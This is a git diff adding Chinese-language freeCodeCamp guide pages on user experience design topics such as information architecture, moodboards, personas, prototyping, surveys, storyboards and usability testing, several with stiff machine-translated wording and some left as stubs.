+在许多方面，人机交互是我们现在称之为“用户体验（UX）设计”的先行者。尽管如此，人机交互和用户体验设计之间仍然存在一些差异。人机交互的从业者往往更注重学术，并参与科学研究和发展用户的实证理解。另一方面，用户体验设计师倾向于以行业为中心，大多数用户体验设计师都参与构建产品或服务 - 例如，智能手机应用程序或网站。不管这种差异如何，UX设计师关注的产品的实际考虑因素与HCI专家关于用户心态的发现有直接联系。因此，在很大程度上分离这些领域几乎没有意义。
+
+#### 更多信息：
+
+*   [人机交互（维基百科）](https://en.wikipedia.org/wiki/Human–computer_interaction)
+*   [人机交互百科全书，第二版。](https://www.interaction-design.org/literature/book/the-encyclopedia-of-human-computer-interaction-2nd-ed/human-computer-interaction-brief-intro)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/index.md b/client/src/guide/chinese/user-experience-design/index.md
new file mode 100644
index 0000000000..725d78949e
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/index.md
@@ -0,0 +1,21 @@
+---
+title: User Experience Design
+localeTitle: 用户体验设计
+---
+## 用户体验设计
+
+用户体验设计是一个专注于产品最终用户如何与之交互的领域，以及他们对产品的感受。
+
+在本节中，我们将提供各种用户体验设计概念的指南。
+
+#### 用户体验设计的资源和启示
+
+[方框和箭头](http://boxesandarrows.com) [Usabilla](http://blog.usabilla.com)
+
+#### 用户体验设计教科书
+
+[交互设计：超越人机交互（第4版） - 亚马逊](https://www.amazon.com/Interaction-Design-Beyond-Human-Computer/dp/1119020751)
+
+#### 主要是免费在线用户体验设计课程
+
+[跳板学习路径：用户体验设计 - Julia Debari](https://www.springboard.com/learning-paths/user-experience-design/learn/#)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/information-architecture/index.md b/client/src/guide/chinese/user-experience-design/information-architecture/index.md
new file mode 100644
index 0000000000..bb156f65f1
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/information-architecture/index.md
@@ -0,0 +1,24 @@
+---
+title: Information Architecture
+localeTitle: 信息架构
+---
+## 信息架构
+
+信息架构（IA）通常由具有UX领域学科背景的用户体验（UX）专业人员承担。 （IA是UX的一部分）。这不是一项创意/视觉设计工作，而是更侧重于信息设计，用户任务流程和场景，用例，内容设计，信息层次结构。
+
+在IA的实践中产生的文档类型通常被称为站点地图（不同于流程图），特征地图，内容地图和库存（尽管这些也可以由内容编辑者创建）。 IA还关注整个导航中使用的实际措辞以及网站或产品的内容，旨在明确和一致。您将看到“客户旅程”的参考，但这不是用户体验或IA - 它完全是其他的东西。
+
+它有助于了解IA在团队架构和其他文档中的位置。项目文档和流程的高级流程如下所示:(注意：假设客户在流程中的多个点签字）
+
+1.  发现阶段和启动：项目简介，需求收集（技术，功能，创意/品牌，内容）。
+2.  UX-IA阶段：研究>角色>用户流程>站点地图>线框。交互设计细节已经完成并最终确定。如果原型具有范围（在预算范围内），则会生成反映用户流和交互设计的样本原型，以及根据计划准备好的广告。
+3.  Creative Deisgn：粗略的模型（通过到目前为止的所有文档），高保真模型（具有更准确的最终艺术和内容），生产就绪的艺术资产制作并交付给开发者。
+4.  Dev一直在幕后工作，通常是敏捷或敏捷的方法论。 Dev，UX和Creative在任何特定时间都在项目的各个方面进行协作。他们都知道彼此需要什么，期望从另一个人那里得到什么。  
+    （这是一个多学科团队如何运作的概述。有许多变量影响过程。最终，最好的过程是团队和客户可以表达和坚持的过程，并产生所需的最终结果。 ）
+
+IA是数字产品/体验创建过程中的一个关键学科。如果做得好，它是透明的，不可察觉的。如果做得不好，它会消除客户对团队的信任，导致额外的工作/时间/金钱花费，可能延迟交付，如果在发货/发布之前没有被抓住，它可能使客户难以接受目标受众 - 不利于生产球队。
+
+## 其他资源
+
+*   [信息架构 - 维基百科](https://en.wikipedia.org/wiki/Information_architecture)
+*   [Usabilty.gov](https://www.usability.gov/what-and-why/information-architecture.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/instructional-design/index.md b/client/src/guide/chinese/user-experience-design/instructional-design/index.md
new file mode 100644
index 0000000000..e4ff01e20e
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/instructional-design/index.md
@@ -0,0 +1,9 @@
+---
+title: Instructional Design
+localeTitle: 教学设计
+---
+## 教学设计
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/instructional-design/index.md) 。 [这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+＃＃＃＃ 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/interaction-design/index.md b/client/src/guide/chinese/user-experience-design/interaction-design/index.md
new file mode 100644
index 0000000000..d39d4907fd
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/interaction-design/index.md
@@ -0,0 +1,35 @@
+---
+title: Interaction Design
+localeTitle: 交互设计
+---
+## 交互设计
+
+## 什么是交互设计？
+
+交互设计（通常缩写为IxD）涉及设计交互式数字产品（如网站，应用程序，软件系统和/或服务）的实践。但是，在设计非数字产品时，交互设计也很方便。交互设计主要关注行为。
+
+以下是由着名工业设计师和IDEO创始人Bill Moggridge（交互设计基金会共享 - IDF）定义的交互设计的五个不同特征：
+
+## 1.设计涉及通过整形和部署工件来改变情况
+
+设计是关于转换的，设计师可以在特定情况下实现变化的手段最终是设计的工件。
+
+## 设计是关于探索可能的未来
+
+这听起来太明显了，但从教育的角度来看，它不应该被忽视，特别是因为它带来了方向上的基本差异。分析和批判性研究强调已经存在的东西，而设计则围绕着可能存在的东西展开。
+
+## 设计需要在创建可能的“解决方案”的同时构建“问题”。
+
+这个charecterstic谈到当我们设计一些东西时情况如何变化。它遵循的概念是，与我们设计时相比，使用设计的情况不再相同。
+
+## 设计包括思考草图和其他有形的表征
+
+当设计师正在设计可能的解决方案时，他们不仅仅是从内心复制图像，他们的绘图或草图实际上是将洞察力转化为实力和可能变化的经验和原型。
+
+## 设计始终贯穿于工具，技术，美学和道德方面
+
+正在设计的每个原型都会在所有这些方面引入考虑和权衡，并且没有明显的方法可以对它们进行排序。这一概念同样适用于交互设计 - 技术决策影响所产生的交互的审美质量，提供的特征的工具选择具有伦理影响，等等。
+
+#### 更多信息：
+
+[交互设计基础](https://www.interaction-design.org/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/moodboards/index.md b/client/src/guide/chinese/user-experience-design/moodboards/index.md
new file mode 100644
index 0000000000..dd00765556
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/moodboards/index.md
@@ -0,0 +1,61 @@
+---
+title: Moodboards
+localeTitle: 情绪板
+---
+## Moodboards
+
+Moodboards是一种传达您即将制作的产品的感觉的方式。也可以获得调色板和形状的灵感，以便以后使用。换句话说，情绪板是[与设计主题相关的纹理，图像和文本的集合作为参考点](http://www.creativebloq.com/graphic-design/mood-boards-812470) 。
+
+创建情绪板非常简单。有两种方式：手动或数字。
+
+要创建手动情绪板，您需要：
+
+*   您可以剪切的不同杂志，报纸，书籍和/或海报
+*   纸
+*   剪刀
+*   胶
+
+首先找到您认为会与您的产品产生共鸣的图像，形状，颜色和信息。 切掉它们。 如果你已经切掉了你需要的所有东西，可以把它们放在纸上，并粘上它们。 最终结果可能与此类似：
+
+![剪纸情绪板](https://raw.githubusercontent.com/ejke/ejke.github.io/master/else/moodboard.jpg)
+
+另一种选择是创建数字情绪板。技术完全相同，您需要：
+
+*   网络连接
+*   复制和粘贴功能的基本知识
+*   图像编辑软件
+
+积极的方面是你不必将你的情绪板限制在杂志中的图像。消极的方面是，可能很难找到正确的图像，因为您可以搜索所有互联网。
+
+开始寻找图像和想法的地方：
+
+*   [谷歌](https://images.google.co.uk/) 。 Goole图像可以根据颜色，形状或形式进行选择，因此如果您可以搜索它，那么您可能会找到它。
+*   [Pinterest](https://www.pinterest.dk/) 。与谷歌相同，但不同。
+*   免费图像。比如， [像素](https://pixabay.com/) ， [Pexels](https://www.pexels.com/)或[免费图像](http://www.freeimages.com/)网站，你可以在一张图片中找到大量的灵感。
+*   带着相机到外面去。您的情绪板可能有确切的项目等着您拍摄该照片。
+
+同样，当你有足够的图像时，是时候将情绪板放在一起了。为此，您还有不同的可能性：
+
+*   瘸子/软件/涂料。在前两个你有更大的能力移动图像，油漆就像油漆一样好（足够，但不舒服）。
+*   Inkscape中/插画。这些都不适合这种工作，但可以完成这项工作。此外，您还可以为您的情绪板添加矢量艺术。
+*   在线工具：只需使用您最喜爱的搜索引擎搜索“情绪板”，您就会发现许多网站都提供竞争情绪板的模板。
+
+![数字情绪板的例子](http://stuckwithpins.com/blog/wp-content/uploads/2015/08/moodboard-s2s.jpg)
+
+注意： 在创建情绪板时，尽量避免使用您正在创建情绪板的东西的标题或图片。
+
+例如，在为哈利波特网站创建情绪板时，不要使用演员的图片，也不要写下标题。通常它不是最好的方式。相反，找到主题深色，木材和石头纹理，闪电图片，另一个戴圆眼镜的人（不是风扇打扮），堆叠在一起的书堆，沸腾的大锅等等。它可能看起来很难一开始，但它在生产的后期阶段提供了更多的灵感 - 你可能需要那种灵感。
+
+制作情绪板是制作中最有趣的部分之一，所以尽量享受它并发挥创意！
+
+情绪板可以传达颜色方案，类型面和特定图像。他们还可以更抽象地探索语气和情绪。除静态图像，摄影和文本外，电路板还可包括视频或声音。
+
+![以冲浪为主题的情绪板的一个例子](https://cdn-images-1.medium.com/max/1600/1*9qVOw8uDg8oOOevWmYUozQ.jpeg)
+
+制作完美情绪板的因素有很多。根据您的受众，您可能希望决定选择更大的图像并围绕它构建情绪板。这个图像将成为整个董事会的灵感和核心。另外，你认为你应该创建一个物理或数字情绪板，谁能更有效地描绘你的想法和灵感？
+
+![身体情绪板的一个例子](https://www.designyourway.net/blog/wp-content/uploads/2018/02/06moodboard3-superjumbo.jpg)
+
+#### 更多信息：
+
+[Milanote。 “为UX项目创造更好的Moodboard。” _中等_ 。 2017年9月10日。访问时间：2017年10月25日。](https://uxplanet.org/creating-better-moodboards-for-ux-projects-381d4d6daf70)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/paper-prototyping/index.md b/client/src/guide/chinese/user-experience-design/paper-prototyping/index.md
new file mode 100644
index 0000000000..3760d4ee74
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/paper-prototyping/index.md
@@ -0,0 +1,32 @@
+---
+title: Paper Prototyping
+localeTitle: 纸张原型
+---
+## 纸张原型
+
+纸张原型是一种广泛用于用户界面和用户体验设计的方法。它涉及使用最传统的铅笔和纸张方式。这是为移动应用，网站或桌面应用生成可视图形的最具成本效益的方式。
+
+#### 纸张原型简要指南
+
+首先，我们必须为我们的原型设定一个目标。在开始进行原型设计之前，可以考虑一个原型，就像任何其他类型的原型一样。
+
+在确定目标后，您可以选择将人物角色或某些故事板作为快速草稿。
+
+根据您的设计，无论是网络应用程序还是移动应用程序，选择您的纸张尺寸 - 它应该与您将来要实施的屏幕尺寸相同。当您必须在纸上绘制组件和布局时，这将对您有所帮助。
+
+当然，在完成一轮纸质原型制作后，请将其用于测试用户。纸质原型的美妙之处在于它既快速，高效又有趣 - 您可以轻松进行更改，而且编辑也不会太费时。
+
+#### 纸张原型的优点
+
+1.  它具有成本效益！你需要的只是铅笔/笔和纸，而不需要参与设计师/开发人员的服务来制作你的原型。
+    
+2.  此阶段不涉及任何设计或编程。您不需要在纸张原型设计中使用Photoshop，Sketch等。由于您的所有设计都是手绘的，因此您不需要花哨的软件或图形来制作纸张原型。
+    
+3.  它允许快速评估和测试。当您处于构思概念的早期阶段时，这一点尤其重要，并且可以轻松地对原型进行任何改进或建议。
+    
+
+#### 更多信息：
+
+引导到纸上原型[这里](https://blog.marvelapp.com/stop-talking-start-sketching-guide-paper-prototyping/)
+
+[这里有](https://blog.prototypr.io/rapid-prototyping-for-mobile-app-ab394c9086e2)快速移动应用原型制作指南
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/pattern-libraries/index.md b/client/src/guide/chinese/user-experience-design/pattern-libraries/index.md
new file mode 100644
index 0000000000..905011c5f4
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/pattern-libraries/index.md
@@ -0,0 +1,63 @@
+---
+title: Pattern Libraries
+localeTitle: 模式库
+---
+## 模式库
+
+模式库是可重用用户界面设计元素的集合。由于这些ui元素在网站，Web应用程序或软件应用程序中重复使用多次，因此它们通过一致性强制实施结构。这使网站或应用程序更易于使用。
+
+在模式库中找到的一些常见的ui元素是：
+
+*   菜单
+*   纽扣
+*   页面布局
+*   UI动画
+*   形式
+
+### 模式库的好处
+
+Paul Boag在他的博客[Boagworld.com上](https://boagworld.com/design/pattern-library/)解释了创建模式库的主要原因：
+
+1.  “模式库确保了一致的用户界面。”
+2.  “模式库有助于重用。”
+3.  “模式库使维护更容易。”
+
+### 模式库与设计系统与风格指南
+
+将模式库与设计系统和样式指南混淆是很容易的。 [Zack Rutherford为UXPin撰写的](https://www.uxpin.com/studio/blog/design-systems-vs-pattern-libraries-vs-style-guides-whats-difference/)这篇[文章](https://www.uxpin.com/studio/blog/design-systems-vs-pattern-libraries-vs-style-guides-whats-difference/)阐明了三者之间的区别：
+
+> • **设计系统** - 完整的设计标准，文档和原则以及工具包（UI模式和代码组件），以实现这些标准。
+> 
+> • **模式库** - 设计系统中的子类，这是在公司中使用的一组设计模式。
+> 
+> • **样式指南** - 设计系统中的另一个子类，这个静态文档描述了设计系统本身：产品的外观和感觉，UI模式的用例，正确的印刷比例等。
+
+#### 更多信息：
+
+##### 模式库示例
+
+[Mailchimp](https://ux.mailchimp.com/patterns)
+
+[IBM设计语言](https://www.ibm.com/design/language/resources)
+
+[微软](https://developer.microsoft.com/en-us/windows/desktop/design)
+
+[谷歌的材料设计](https://material.io/guidelines/)
+
+[UI模式](http://ui-patterns.com/patterns)
+
+[移动模式](http://www.mobile-patterns.com/)
+
+[BBC GEL](http://www.bbc.co.uk/gel/guidelines/category/design-patterns)
+
+##### 用品
+
+[Natasha Hockey为Prototypr.io设计的“模式库”](https://blog.prototypr.io/pattern-libraries-5d627c5c65b4)
+
+[“模式库：他们是什么，为什么你需要一个”由Meghan Lazier为Designlab提供](http://trydesignlab.com/blog/pattern-libraries-what-they-are-and-why-you-need-o/)
+
+[Rebecca Sorensen为Sumo Logic创建“模式库”](https://medium.com/sumo-logic-ux/creating-a-pattern-library-18cce0f901b4)
+
+[Anna Debenham的“模式库入门”A List Apart](http://alistapart.com/blog/post/getting-started-with-pattern-libraries)
+
+[维塔利弗里德曼为Smashing杂志“将模式库提升到新的水平”](https://www.smashingmagazine.com/taking-pattern-libraries-next-level/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/personas/index.md b/client/src/guide/chinese/user-experience-design/personas/index.md
new file mode 100644
index 0000000000..70eea075ef
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/personas/index.md
@@ -0,0 +1,50 @@
+---
+title: Personas
+localeTitle: 人
+---
+## 人物角色
+
+人物角色在设计过程中用作指导，根据应用程序将拥有的用户类型创建用户体验。角色代表将使用该应用程序的人的人口统计。通常，在应用程序的设计发生之前创建多个角色。人物角色将帮助设计师为不同类型的用户创建不同的设计。
+
+例如，如果团队正在构建处理健身俱乐部会员资格和运营的应用程序，那么该应用程序的一些用户可能包括前台工作人员，推销员和私人教练。这些用户的年龄，心态和技术能力可能非常不同。因此，团队将为每种用户类型创建角色，并包含有关该用户的工作，技能水平，目标，背景以及有关该个人日常活动的简短描述的详细信息。
+
+## 用户角色
+
+用户角色是您想要触及的理想用户的虚构个人资料或表示。设计师使用角色来更好地了解他们的用户并定制设计以适应目标受众。
+
+用户角色显示一个人如何使用网站或应用。用户的需求，目标和行为可帮助设计人员弄清楚他们如何使用产品以及设计可以做些什么来让用户执行特定操作。强大的用户角色清楚地识别出这些需求以及可能影响设计的基本信息。
+
+用户体验设计师尽可能多地研究，以准确地代表他们的用户。信息按组分组，代表您想要达到的理想用户。设计师通常关注最重要的用户群，因为对于少数用户而言，设计更容易，而不是试图满足每个人的需求。
+
+个人用户角色是一页，避免有额外的细节，不影响最终设计师或帮助任何设计决策。您必须确保角色尽可能真实和具体，因为它可以帮助您在准备测试产品时找到真实用户。
+
+## 如何定义您的用户角色
+
+设计师有不同的方式来创建用户角色，但定义良好的角色有4个元素。这些元素是：
+
+1.Header 2.Demographic Profile 3.结束目标 4.Scenario
+
+### 头
+
+标题包括您的用户名，法师名称以及引用名称。引用是设计师总结用户认为重要的方式。强大的标题使设计师能够专注于他们正在构建的用户。
+
+### 人口统计资料
+
+人口统计资料包含用户研究的所有数据。所有数据都为设计人员提供了完整的用户图片。配置文件有四个部分：个人背景，专业背景，用户环境和心理特征。
+
+个人背景是年龄，性别，种族和教育等信息。设计师可以包括家庭状况（例如单身，已婚，丧偶等）或角色群体（例如工作妈妈）。专业背景是用户的工作职业，收入水平和工作经验。
+
+用户环境是用户的物理，社交和技术背景。此信息显示用户的典型日期，他们在哪里花费时间，以及他们与他人合作的内容。心理学是研究用户的想法和感受。这些数据侧重于用户的态度，兴趣，动机和痛点。
+
+### 最终目标
+
+最终目标是用户完成目标所采取的操作。最终目标激励所有用户并显示用户想要或需要的内容。
+
+### 脚本
+
+场景描述了用户如何使用产品来实现最终目标。这些情况定义了此事件发生的时间，地点和方式。您可以从用户的角度编写这些方案。
+
+#### 更多信息：
+
+*   [角色 - usability.gov](https://www.usability.gov/how-to-and-tools/methods/personas.html)
+*   [粉碎杂志：仔细看人物角色](https://www.smashingmagazine.com/2014/08/a-closer-look-at-personas-part-1/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/prototyping/index.md b/client/src/guide/chinese/user-experience-design/prototyping/index.md
new file mode 100644
index 0000000000..a85b42f061
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/prototyping/index.md
@@ -0,0 +1,25 @@
+---
+title: Prototyping
+localeTitle: 原型
+---
+## 原型
+
+在软件开发中，原型是产品或信息系统的基本工作模型，通常是为此而构建的 演示目的或作为开发过程的一部分。在系统开发生命周期（SDLC）原型模型中， 系统的基本版本构建，测试，然后根据需要进行重新设计，直到最终可接受的原型 从中可以实现完整的系统或产品。
+
+原型设计是指软件发布的初始阶段，其中可能发生发展演变和产品修复 在更大的版本发布之前。这些类型的活动有时也可称为beta阶段或beta测试， 在完全开发之前，初始项目由较小的用户类评估。
+
+原型设计，以及广谱测试和多个软件发布，是更详细的流程的一部分 生产复杂的软件产品和服务。基本的想法是，即使代码功能完成了 项目，仍处于开发阶段的软件可能存在许多错误和用户问题。对于其中许多人来说，要做好准备 如果软件实际上在使用中会有所帮助，但开发人员面临的问题是发布最终用户可以看到的产品 基本上是有缺陷的。将产品发布到较小的社区或以其他方式限制其分阶段开发可以是 一个非常有效的解决方
+
+在某些情况下，原型设计可能涉及志愿者，而在其他情况下，特殊客户或具有特殊地位的其他人可能 参与原型设计。开发团队和技术公司通常会在过程中获得产品反馈 原型设计，以便在最终分发之前解决问题。
+
+## 工具
+
+用户体验设计师的一些流行的原型设计工具包括：
+
+*   草图 - https://sketchapp.com
+*   InVision - https://invisionapp.com
+*   Axure - https://www.axure.com
+*   Adobe XD CC - https://www.adobe.com/in/products/xd.html
+*   Figma - https://figma.com
+*   UXPin - https://www.uxpin.com/
+*   Framer - https://framer.com
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/qualitative-surveys/index.md b/client/src/guide/chinese/user-experience-design/qualitative-surveys/index.md
new file mode 100644
index 0000000000..2cb371e616
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/qualitative-surveys/index.md
@@ -0,0 +1,35 @@
+---
+title: Qualitative Surveys
+localeTitle: 定性调查
+---
+## 定性调查
+
+定性调查 - 可以采取采访或其他直接观察的可用性测试的形式（可以是面对面的，也可以通过视频会议工具，如Skype或Google Hangouts） - 进行探索，目标是获得更多 - 深入了解用户的体验。定性调查旨在收集有关用户或团体日常生活经历和动机的信息，以了解这些细节可能如何影响他们对产品或工具的使用。
+
+### 结果
+
+当使用定性研究方法时，研究人员必须认识到它们可能对研究结果产生影响。由于正在研究的是人类体验而不是硬数据（点击次数，登录位置趋势等），因此在测试期间或评估结果时难以保持完全客观。结果也不一定是可重复的。这是因为影响用户体验的因素是多种多样的，并且可能每天都在变化。由于生活中的新事件或当天承担更多责任，用户具有彼此完全不同的生活经历，影响用户心情的恶劣天气以及其他任何因素，这些因素可以采取用户在某一天比另一天更加紧张的形式。这会影响一个人的个人或情感生活。
+
+定性调查的结果通常显示为主题或类别而不是数字。 1
+
+### 例
+
+以下是[交互设计基金会](https://www.interaction-design.org/)关于定量研究与定性研究之间差异的一个很好的例子：
+
+> 为了说明差异，假设您想要研究用户组的锻炼习惯。您可以选择使用定量或定性研究方法来研究这些。 **如果您使用_定量_方法** ，您可以创建在线调查并将其分发给大量参与者。参与者必须回答有关其锻炼习惯的预定义问题，例如“您每周锻炼多少小时？”。如果您尽职尽责地进行工作，则可以在不偏离您自己的观点或个人锻炼经验的情况下对调查答案进行数字总结。
+> 
+> **如果您使用_定性_方法** ，您可以选择与有限数量的参与者进行面谈，在那里您可以与参与者讨论他们锻炼的时间，地点和方式。因为面试与谈话相似，所以你的结果将取决于你如何向参与者的答案提出后续问题 - 你如何做到这一点在某种程度上取决于你的个性和你自己的锻炼经验。同样，访谈的结果在某种程度上也取决于对参与者告诉你的内容的主观解释。
+
+### 来源
+
+1.  [Mortensen，Ditte。 “\[定性用户研究的最佳实践\]（https://www.interaction-design.org/literature/article/best-practices-for-qualitative-user-research）。” _\[交互设计基金会\]（https://www.interaction-design.org/）_ 。 2018年1月访问：2018年2月23日](#)
+
+### 资源：
+
+*   “用户[体验设计中的定性研究方法](https://www.slideshare.net/uxtalktokyo/ux-tokyo-talk-6-markus) ”作者：Markus Heberlein（SlideShare演示文稿，在UX Tokyo Talk 2014上展示）
+    
+*   “ [12个用户体验研究技术（量化定性定性）](https://medium.com/ux-design-web-mobile-virtual-reality/12-ux-research-techniques-quantitative-and-qualitative-1a37bcb1914e) ”作者：Kevin Dalvi
+    
+*   [UX Booth的](http://www.uxbooth.com/) “ [完整初学者用户体验研究指南](http://www.uxbooth.com/articles/complete-beginners-guide-to-design-research/) ”
+    
+*   “用户[体验设计研究中的一个速成课程](https://uxdesign.cc/a-crash-course-in-ux-design-research-ea00c3307c82) ”，作者： [UX集体公司的](https://uxdesign.cc/) Matt Lavoie
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/quantitative-surveys/index.md b/client/src/guide/chinese/user-experience-design/quantitative-surveys/index.md
new file mode 100644
index 0000000000..31d0ad3330
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/quantitative-surveys/index.md
@@ -0,0 +1,34 @@
+---
+title: Quantitative Surveys
+localeTitle: 定量调查
+---
+## 定量调查
+
+**定量调查**着眼于分析调查结果的统计方法。问题的设计方式使得答案以数字记录。然后你看看有多少用户回答了某些问题。
+
+#### 定量调查告诉我们
+
+*   有多少用户使用该产品？
+*   什么样的人使用该产品？
+*   我们的产品市场是什么？
+
+这是一个测试市场的好方法，看趋势，模式，用户群，看到产品的成功等。
+
+#### 示例问题
+
+*   你使用Free code camp吗？
+    *   是
+    *   没有
+*   你在免费代码阵营中完成了多少挑战？
+    *   不到100
+    *   不到500
+    *   超过500
+*   你在免费代码营中获得了多少张证书？
+    *   0
+    *   1
+    *   2
+    *   3
+
+#### 更多信息：
+
+[关于定量调查的文章](https://www.marketingdonut.co.uk/market-research/questionnaires-surveys-and-focus-groups/what-is-quantitative-research)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/stakeholder-interviews/index.md b/client/src/guide/chinese/user-experience-design/stakeholder-interviews/index.md
new file mode 100644
index 0000000000..6d513a6b9c
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/stakeholder-interviews/index.md
@@ -0,0 +1,11 @@
+---
+title: Stakeholder Interviews
+localeTitle: 利益相关者访谈
+---
+## 利益相关者访谈
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/stakeholder-interviews/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/storyboards/index.md b/client/src/guide/chinese/user-experience-design/storyboards/index.md
new file mode 100644
index 0000000000..ebee3874f3
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/storyboards/index.md
@@ -0,0 +1,29 @@
+---
+title: Storyboards
+localeTitle: 故事板
+---
+## 故事板
+
+故事板是一系列图像和伴随的模糊，它们共同传达了用户完成某些目标的体验。故事板帮助产品和用户体验团队围绕用户的痛点进行头脑风暴。
+
+故事板首先出现在用户研究，角色开发和即将完成的工作之后。这个Storyboarding实例使用现有解决方案概述了用户的痛点。故事板的下一个实例是在解决方案构思之后，传达用户生活如何改进的预想未来。
+
+通常用手绘制草图，故事板是一种快速而廉价的方式，用于在建议的解决方案之前和之后传达用户的行为。
+
+有效的故事板......
+
+*   应该：
+    *   清楚地概述用户，他们的行动，情绪和结果
+    *   在显示设备特写时，仅显示与交互相关的UI元素
+*   不应该：
+    *   是“像素完美”
+    *   演示UI完整性
+
+![故事板示例](https://github.com/yunChigewan/storage/blob/master/storyboard_pic.jpeg?raw=true)
+
+图片来源：切尔西Hostetter，奥斯汀设计中心
+
+#### 更多信息：
+
+*   用于故事板www.designcomics.org的股票图像
+*   UX Planet的故事板文章https://uxplanet.org/storyboarding-in-ux-design-b9d2e18e5fab
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/task-analysis/index.md b/client/src/guide/chinese/user-experience-design/task-analysis/index.md
new file mode 100644
index 0000000000..50444486d4
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/task-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Task Analysis
+localeTitle: 任务分析
+---
+## 任务分析
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/task-analysis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/usability-testing/index.md b/client/src/guide/chinese/user-experience-design/usability-testing/index.md
new file mode 100644
index 0000000000..e11ed61983
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/usability-testing/index.md
@@ -0,0 +1,47 @@
+---
+title: Usability Testing
+localeTitle: 可用性测试
+---
+## 可用性测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/usability-testing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+可用性测试是一种用于以用户为中心的交互设计的技术，通过在用户上进行测试来评估产品。这可以被视为一种不可替代的可用性实践，因为它直接输入了真实用户如何使用系统。
+
+这与可用性检查方法形成对比，在这种方法中，专家使用不同的方法来评估用户界面而不涉及用户。
+
+可用性测试侧重于测量人造产品满足其预期目的的能力。通常受益于可用性测试的产品的示例是食品，消费产品，网站或web应用，计算机接口，文档和设备。可用性测试测量特定对象或一组对象的可用性或易用性，而一般的人机交互研究试图制定通用原则。 在SDLC的初始设计阶段，建议进行此测试，以便更好地了解用户的期望。 方法
+
+1.  走廊测试
+
+走廊测试是一种快速，廉价的可用性测试方法，其中随机选择的人 - 例如，在走廊中经过的人 - 被要求尝试使用产品或服务。这可以帮助设计师识别“砖墙”，在新设计的早期阶段，用户根本无法前进的严重问题。除了项目设计师和工程师之外，任何人都可以使用（他们往往充当“专家评审员”，因为他们离项目太近了）。
+
+2.  远程可用性测试
+
+在可用性评估人员，开发人员和潜在用户位于不同国家和时区的情况下，进行传统的实验室可用性评估会从成本和后勤角度产生挑战。这些问题引发了对远程可用性评估的研究，用户和评估者在空间和时间上进行了分离。远程测试有助于在用户的其他任务和技术的上下文中完成评估，可以是同步的也可以是异步的。前者涉及评估者和用户之间的实时一对一通信，而后者涉及评估者和用户单独工作。有许多工具可用于满足这两种方法的需求。 同步可用性测试方法涉及视频会议或使用WebEx等远程应用程序共享工具。 WebEx和GoToMeeting是进行同步远程可用性测试的最常用技术。然而，同步远程测试可能缺乏支持协作测试过程所需的即时性和“存在感”。此外，管理跨越文化和语言障碍的人际动态可能需要对所涉文化敏感的方法。其他缺点包括减少对测试环境的控制以及参与者在其原生环境中所经历的分心和中断。为进行同步远程可用性测试而开发的新方法之一是使用虚拟世界。 异步方法包括自动收集用户的点击流，在与应用程序交互时发生的关键事件的用户日志以及用户对界面的主观反馈。与实验室研究类似，异步远程可用性测试是基于任务的，该平台允许研究人员捕获点击次数和任务时间。因此，对于许多大公司而言，这使研究人员能够在访问网站或移动网站时更好地了解访问者的意图。此外，这种用户测试方式还提供了按人口统计，态度和行为类型对反馈进行细分的机会。测试在用户自己的环境（而不是实验室）中进行，有助于进一步模拟真实场景测试。这种方法还提供了一种工具，可以快速地从偏远地区的用户那里获得反馈，同时降低组织管理费用。近年来，异步进行可用性测试也变得普遍，并且允许测试人员在他们的空闲时间和舒适的家中提供反馈。
+
+3.  专家评审
+
+专家评审是可用性测试的另一种通用方法。顾名思义，这种方法依赖于引入具有该领域经验的专家（可能来自专门从事可用性测试的公司）来评估产品的可用性。 启发式评估或可用性审计是由一个或多个人为因素专家对界面的评估。评估者根据可用性原则衡量界面的可用性，效率和有效性，例如Jakob Nielsen在1994年最初定义的10个可用性启发式算法。
+
+尼尔森的可用性启发式技术在响应用户研究和新设备的过程中不断发展，包括：
+
+*   系统状态的可见性
